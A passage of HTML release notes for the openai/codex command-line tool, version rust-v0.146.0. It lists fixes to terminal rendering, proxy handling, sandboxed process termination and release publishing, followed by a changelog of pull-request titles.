href="https://github.com/openai/codex/pull/35028">#35028</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967219687" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35144" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35144/hovercard" href="https://github.com/openai/codex/pull/35144">#35144</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967295452" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35146" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35146/hovercard" href="https://github.com/openai/codex/pull/35146">#35146</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967527960" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35151" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35151/hovercard" href="https://github.com/openai/codex/pull/35151">#35151</a>)</li>
<li>Preserve submitted messages, final responses, failed-turn errors, imported timestamps, and approval settings across interruptions, replay, imports, and forks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953802746" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34839" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34839/hovercard" href="https://github.com/openai/codex/pull/34839">#34839</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950630699" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34777" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34777/hovercard" href="https://github.com/openai/codex/pull/34777">#34777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982774545" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35524" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35524/hovercard" href="https://github.com/openai/codex/pull/35524">#35524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806288" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34989" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34989/hovercard" href="https://github.com/openai/codex/pull/34989">#34989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944906385" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34664" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34664/hovercard" href="https://github.com/openai/codex/pull/34664">#34664</a>)</li>
<li>Improve terminal responsiveness and rendering, including nonblocking interrupts, keyboard handling, narrow layouts, hyperlinks, and refreshed mention results. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962404168" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35000" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35000/hovercard" href="https://github.com/openai/codex/pull/35000">#35000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963449838" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35021" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35021/hovercard" href="https://github.com/openai/codex/pull/35021">#35021</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950598821" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34775" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34775/hovercard" href="https://github.com/openai/codex/pull/34775">#34775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950669021" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34778" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34778/hovercard" href="https://github.com/openai/codex/pull/34778">#34778</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976587182" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35365" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35365/hovercard" href="https://github.com/openai/codex/pull/35365">#35365</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977352640" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35375" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35375/hovercard" href="https://github.com/openai/codex/pull/35375">#35375</a>)</li>
<li>Fix Windows navigation keys, reliably terminate sandboxed process trees, and preserve proxy settings during security reviews. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943512909" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34625" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34625/hovercard" href="https://github.com/openai/codex/pull/34625">#34625</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943485520" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34624" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34624/hovercard" href="https://github.com/openai/codex/pull/34624">#34624</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963755732" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35036" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35036/hovercard" href="https://github.com/openai/codex/pull/35036">#35036</a>)</li>
<li>Retain more available skills under tight context budgets and warn when skill catalogs must be truncated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948272371" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34732" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34732/hovercard" href="https://github.com/openai/codex/pull/34732">#34732</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948607501" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34738" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34738/hovercard" href="https://github.com/openai/codex/pull/34738">#34738</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962312515" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34997" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34997/hovercard" href="https://github.com/openai/codex/pull/34997">#34997</a>)</li>
</ul>
<h2>Documentation</h2>
<ul>
<li>Document shared HTTP-client usage, proxy-aware connection pooling, and safe outbound request handling. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944990768" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34669" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34669/hovercard" href="https://github.com/openai/codex/pull/34669">#34669</a>)</li>
<li>Clarify Windows drive-letter canonicalization for <code>PathUri</code> values. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944944287" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34667" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34667/hovercard" href="https://github.com/openai/codex/pull/34667">#34667</a>)</li>
</ul>
<h2>Chores</h2>
<ul>
<li>Publish release artifacts, channel metadata, and installer aliases through OpenAI-hosted release infrastructure, with GitHub fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937484107" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34505" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34505/hovercard" href="https://github.com/openai/codex/pull/34505">#34505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937590716" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34508" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34508/hovercard" href="https://github.com/openai/codex/pull/34508">#34508</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4948155465" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34729" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34729/hovercard" href="https://github.com/openai/codex/pull/34729">#34729</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957369656" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34910" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34910/hovercard" href="https://github.com/openai/codex/pull/34910">#34910</a>)</li>
<li>Sign and notarize bundled macOS helper executables before packaging. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973056258" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35264" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35264/hovercard" href="https://github.com/openai/codex/pull/35264">#35264</a>)</li>
<li>Reduce app-server serialization overhead and unnecessary request-building allocations. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4949865659" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34761" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34761/hovercard" href="https://github.com/openai/codex/pull/34761">#34761</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950172483" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34766" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34766/hovercard" href="https://github.com/openai/codex/pull/34766">#34766</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953130973" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34825" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34825/hovercard" href="https://github.com/openai/codex/pull/34825">#34825</a>)</li>
<li>Add enterprise-plan recognition and administrator controls for in-app updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971566155" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35238" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35238/hovercard" href="https://github.com/openai/codex/pull/35238">#35238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983701873" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35537" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35537/hovercard" href="https://github.com/openai/codex/pull/35537">#35537</a>)</li>
</ul>
<h2>Changelog</h2>
<p>Full Changelog: <a class="commit-link" href="https://github.com/openai/codex/compare/rust-v0.145.0...rust-v0.146.0">rust-v0.145.0...rust-v0.146.0</a></p>
<ul>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4934841657" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34447" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34447/hovercard" href="https://github.com/openai/codex/pull/34447">#34447</a> Add a route-aware HTTP client pool <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4934931066" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34449" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34449/hovercard" href="https://github.com/openai/codex/pull/34449">#34449</a> Make external session detection limits configurable <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4934950344" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34451" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34451/hovercard" href="https://github.com/openai/codex/pull/34451">#34451</a> Attribute external agent imports by provider <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935250548" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34463" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34463/hovercard" href="https://github.com/openai/codex/pull/34463">#34463</a> Support alpha hotfix release versions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935676914" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34469" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34469/hovercard" href="https://github.com/openai/codex/pull/34469">#34469</a> Preserve thread settings for goal-first and forked threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936328998" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34476" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34476/hovercard" href="https://github.com/openai/codex/pull/34476">#34476</a> Separate HTTP execution from request logging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936359532" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34478" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34478/hovercard" href="https://github.com/openai/codex/pull/34478">#34478</a> Honor <code>CARGO_HTTP_CAINFO</code> in managed proxy environments <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936400926" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34479" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34479/hovercard" href="https://github.com/openai/codex/pull/34479">#34479</a> Re-resolve system proxy routes across redirects <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936621943" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34481" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34481/hovercard" href="https://github.com/openai/codex/pull/34481">#34481</a> Add route-aware redirect test coverage <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936712408" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34483" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34483/hovercard" href="https://github.com/openai/codex/pull/34483">#34483</a> Expand route-aware proxy redirect coverage <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936921955" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34490" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34490/hovercard" href="https://github.com/openai/codex/pull/34490">#34490</a> Route backend requests through the HTTP client factory <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4936982626" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34491" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34491/hovercard" href="https://github.com/openai/codex/pull/34491">#34491</a> Route cloud environment discovery through the HTTP client pool <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937089526" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34495" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34495/hovercard" href="https://github.com/openai/codex/pull/34495">#34495</a> Honor system proxy settings in the daemon updater <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937161261" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34497" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34497/hovercard" href="https://github.com/openai/codex/pull/34497">#34497</a> Preserve custom arg0 for sandboxed exec-server processes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937484107" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34505" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34505/hovercard" href="https://github.com/openai/codex/pull/34505">#34505</a> Mirror Rust release artifacts to Cloudflare R2 <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937517852" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34506" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34506/hovercard" href="https://github.com/openai/codex/pull/34506">#34506</a> Respect system proxies during plugin startup sync <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937590716" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34508" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34508/hovercard" href="https://github.com/openai/codex/pull/34508">#34508</a> Publish release metadata to R2 channels <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937668292" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34509" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34509/hovercard" href="https://github.com/openai/codex/pull/34509">#34509</a> Honor system proxy settings for remote plugins <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4937929001" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34514" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34514/hovercard" href="https://github.com/openai/codex/pull/34514">#34514</a> Add an optional releases.openai.com installer source <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938082137" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34516" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34516/hovercard" href="https://github.com/openai/codex/pull/34516">#34516</a> Allow <code>numer</code> in codespell checks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938104955" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34517" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34517/hovercard" href="https://github.com/openai/codex/pull/34517">#34517</a> Pass empty inherited FDs in the Wine PTY test <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938460697" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34522" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34522/hovercard" href="https://github.com/openai/codex/pull/34522">#34522</a> Split MCP connection manager into focused modules <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938528407" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34525" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34525/hovercard" href="https://github.com/openai/codex/pull/34525">#34525</a> Add step-scoped data to extension contributors <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939046158" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34533" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34533/hovercard" href="https://github.com/openai/codex/pull/34533">#34533</a> Centralize compacted rollout item construction <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939436383" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34540" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34540/hovercard" href="https://github.com/openai/codex/pull/34540">#34540</a> Detach Git metadata commands from stdin <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939482457" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34544" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34544/hovercard" href="https://github.com/openai/codex/pull/34544">#34544</a> Size Noise handshake buffers to their messages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939577761" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34547" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34547/hovercard" href="https://github.com/openai/codex/pull/34547">#34547</a> Add reciprocal rank fusion skill selection <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939804443" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34550" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34550/hovercard" href="https://github.com/openai/codex/pull/34550">#34550</a> Test thread-scoped MCP refresh behavior <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939843310" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34551" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34551/hovercard" href="https://github.com/openai/codex/pull/34551">#34551</a> Simplify TUI restoration for the external editor <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939881208" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34552" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34552/hovercard" href="https://github.com/openai/codex/pull/34552">#34552</a> Remove unused RtOptions setters <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939918313" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34553" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34553/hovercard" href="https://github.com/openai/codex/pull/34553">#34553</a> Remove the unused TUI shutdown app command <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940211260" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34558" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34558/hovercard" href="https://github.com/openai/codex/pull/34558">#34558</a> Remove obsolete ignored tests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940236140" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34559" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34559/hovercard" href="https://github.com/openai/codex/pull/34559">#34559</a> Add backend client support for Codex user settings <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940275950" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34561" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34561/hovercard" href="https://github.com/openai/codex/pull/34561">#34561</a> Extract MCP binding clients from the connection manager <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940329710" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34562" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34562/hovercard" href="https://github.com/openai/codex/pull/34562">#34562</a> Record rollout boundaries for materialized turns <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940366789" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34563" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34563/hovercard" href="https://github.com/openai/codex/pull/34563">#34563</a> Page through inherited thread history <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940401252" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34566" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34566/hovercard" href="https://github.com/openai/codex/pull/34566">#34566</a> Protect fork history references during rollout cleanup <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940691340" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34570" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34570/hovercard" href="https://github.com/openai/codex/pull/34570">#34570</a> Highlight CUDA files as C++ in the TUI <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
